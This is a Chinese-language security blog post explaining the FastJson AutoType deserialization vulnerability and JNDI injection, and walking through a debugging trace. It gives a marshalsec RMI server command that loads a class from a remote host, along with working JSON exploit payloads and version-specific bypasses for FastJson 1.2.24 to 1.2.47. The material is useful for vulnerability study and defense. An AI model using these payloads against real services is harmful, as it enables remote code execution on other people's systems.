FastJson-安全

本文详细介绍了FastJson的AutoType特性及其在版本1.2.24及以前存在的安全问题。攻击者可以利用AutoType功能构造恶意JSON字符串,触发JNDI注入攻击。通过启动RMI服务器并指定远程类加载,可能导致代码执行。FastJson在后续版本中对此进行了修复,但攻击者不断寻找新的绕过方式。文章还展示了漏洞利用的调用栈,并提供了不同版本的exploit示例。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1 FastJson介绍

Fastjson 是阿里巴巴开源的 Java 库,用于将 Java 对象转换为 JSON 字符串,以及将 JSON 字符串转换为 Java 对象。这个库的一个关键特性是它的反序列化能力,即将 JSON 字符串转换回 Java 对象。

把一个Java对象转换成字符串,有两种选择:

1)基于属性

fastjson引入了AutoType,即在序列化的时候使用@type字段,标注了类对应的原始类型,方便在反序列化的时候定位到具体类型。

2)基于setter/getter

当我们要对他进行序列化的时候,fastjson会扫描其中的getter方法,即找到getName和getFruit,这时候就会将name和fruit两个字段的值序列化到JSON字符串中。

这个特性也带来了安全风险,特别是在 Fastjson 版本 1.2.24 及之前,存在一个反序列化漏洞,允许攻击者执行远程代码。

Fastjson 在反序列化时,会读取 JSON 中的 @type 字段来确定对象的类型,并调用相应类的 setter 方法。这个过程中,如果 @type 被恶意构造,攻击者可以指定任意类库,通过精心构造的 JSON 字符串,触发恶意行为。 

2 fastjson<=1.2.24

2.1 介绍

fastjson(v1.2.25 之前)的AutoType是默认开启的,也没有什么限制。 可以利用autoType这个特性,自己构造一个JSON字符串,并且使用@type指定一个自己想要使用的攻击类库。

比如利用com.sun.rowset.JdbcRowSetImpl这个类的dataSourceName传入一个rmi的源。

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:port/Exploit","autoCommit":true}

JdbcRowSetImpl类的基本原理见:JNDI注入

2.2 复现方式

首先创建一个远程加载的类

 启动web服务

这样访问http://IP1:3333/MyTest.class就可以访问到class文件。 然后我们借助marshalsec启动一个RMI服务器,监听9999端口,并制定加载远程类MyTest.class

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://IP1:3333/#MyTest" 9999 (注意IP保密)

最后传入:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://IP2:9999/MyTest","autoCommit":true}

2.3 FastJson调用栈

详见流程见fastjson=1.2.24调试。

Exploit小结:

来源于  https://github.com/shengqi158/fastjson-remote-code-execute-poc

1.2.24
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true}}

未知版本(1.2.24-41之间)
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

1.2.41
{"@type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

1.2.42
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true};

1.2.43
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true]}

1.2.45
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}

1.2.47
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}}

3 fastjson=1.2.24调试

1)class JSON类

pasre(String text)如下

2)class DefaultJSONParser类

当为{时,token=12

token=12,继续parseObject

来到parseObject(Map object, Object fieldName)

这里有一个 JSONLexerBase.scanSymbol,作用是找一对“”之间的内容

第一对“”里就是“@value”,判断key = @type继续走

3)class TypeUtils类

4)class DefaultJSONParser类

5)class ParserConfig类

6)返回之后继续来到class DefaultJSONParser,执行deserializer.deserialze(this, clazz, fieldName);

然后来到class JavaBeanDeserializer

7)继续往下走,来到 class JSONScanner

8) JavaBeanDeserializer类

9)FieldDeserializer类

反射调用

后面就是JdbcRowSetImpl正常流程了,见JNDI注入

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值